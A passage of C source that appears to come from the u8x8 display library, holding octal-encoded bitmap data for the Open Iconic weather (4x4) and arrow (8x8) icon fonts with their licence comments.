"\0\0\0\0\0\1\3\7\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\377\377\377\377\377~<\30\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\360\374\376\376\377\377\377\377\376\376\374\360\0\0\0\0\0\0\0\0" "\0\0\0\0\6\17\17\36\36\274\374\370\371\377\377\377\377\377\377\377\377\377\377\371\370\374\374\36\36\17\17\6" "\0\0\0\0\6\17\17\217\377\377\377\377\377\377\377\377\1\0\0\1\377\377\377\377\377\377\377\377\217\217\17\6" "\0\0\0\0\16\17\17\7\7\7\17\37\77\177\77\37\0\0\0\0\37\77\177\77\37\17\7\7\7\17\17\16" "\0\0\0\0\0\0\0\0\0\0\0\200\341\376\374\370\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\360\370\374\376\377\377\377\377\377\377\377\377~\0\0\0\0\20\340\300\200\0\0\0\0" "\0\0\0\0~\377\377\377\377\377\377\377\377\177\77\37\17\3\1\0\200\300\340\370\376\377\377\377\377\376\374\340" "\0\0\0\0\0\3\7\17\37\77\177\207\1\0\0\0\340\370\374\377\377\377\377\377\377\377\377\377\377\177\77\17" "\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376>\37\17\17\17\17\37>\376\374\370\340\0\0\0\0" "\0\0\0\0\0\0\0\0\360\360\360\360\377\377\377\377\360\360\360\360\360\360\360\360\377\377\377\377\360\360\360\360" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\0\0\0\0\376\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\377\377\377\376\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\377\177\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\377\377\377\177\0\0\0\0\300\340\360\360\360\360\360\360\377\377\377\377\377\377\377\377\360\360\360\360\360\360\340\300" "\0\0\0\0\0\0\0\0\17\17\17\17\377\377\377\377\377\377\377\377\377\377\377\377\17\17\17\6\0\0\0\0" "\0\0\0\0\300\340\360\360\360\360\360\360\377\377\377\377\377\377\377\377\377\377\377\377\360\360\360\360\360\360\340\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\177\37\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\377\377\377\377" "\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\347\303\303\347\377\377\377\377\377\377\377\377\377\377\377\177" "\0\0\0"; /* Fontname: open_iconic_weather_4x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 6/6 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_weather_4x4[772] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_4x4") = "@E\4\4\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360\360\360\360\360\360\340\340\300\300\200\0\0" "\0\0\0\0\0\200\300\340\340\360\360\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370" "\0\0\0\0~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\376\374\360\0\1\3\7\7\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\7\7\3\0\200\340\370\374\374\376\376\377\377\177\77\77\37\36\16\14\14\10\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\37\77\37\37\37\7\3\1\300\360\370\374\374\376\376\377\377\377\377\377\377\376\376\374\374\370\340\200" "\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\360\340\300\0\7\37\77\177\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\177\77\17\0\0\200\340\360\370\374\374\376\376\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\370\377\377\377\377\377\377\377\377\377\376\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\77\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\370\360\360\360\340\340\340\340\340\340" "\340\340\60\0\0\0\0\1\3\7\17\37\37\77\77\77\177\177\177\177\177\177\177\177\77\77\77\37\37\17\7\3" "\1\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374\374\376\376\377\377\377\377\377\377\376\376\374\374\370\340\200" "\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\360\340\300\200\7\37\37\17\17\17\17\17\17\3\1\1\340\360\360\340\1\1\3\17\17\17\17\17\37\37\77\177" "\177\177\77\17\0\0\0\0~\377\377~\0\0\0\0\177\377\377\177\0\0\0\0~\377\377~\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\374\340\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\20\60p\360\360\360\360\360\360\360\360\370\377\377\377\377\377\377\370\360\360\360\360\360\360\360\360" "p\60\20\0\0\0\0\0\0\0\1\3\7\317\377\377\377\377\377\377\377\377\377\377\377\377\317\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0p>\37\17\17\7\3\1\0\0\1\3\7\17\17\37>p\0\0\0" "\0\0\0\0\0\0\0\0`\360\360`\0\0\0\0\0\0\6\17\17\6\0\0\0\0\0\0`\360\360`" "\0\0\0\0\200\300\300\200\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0" "\200\300\300\200\1\3\3\1\0\0\0\0\7\37\77\177\177\377\377\377\377\377\377\177\177\77\37\7\0\0\0\0" "\1\3\3\1\0\0\0\0\6\17\17\6\0\0\0\0\0\0`\360\360`\0\0\0\0\0\0\6\17\17\6" "\0\0\0"; /* Fontname: open_iconic_arrow_8x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 28/28 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_arrow_8x8[14340] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_8x8") = "@[\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\77\177\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\177\77\37\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\77\177" "\377\77\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\374\376\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\370\374\376\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20\30<~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\1\3\3\7\17\37\77\177\177\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\37\77\177\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\376\374\370\360\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\376\376\374\370\360\340\300\300\200\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "~<\30\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\177\77\37\37\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\177\77\37\17\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\377" "\376\374\370\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\376\374\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7" "\17\37\77\177\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370" "\360\340\300\200\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" 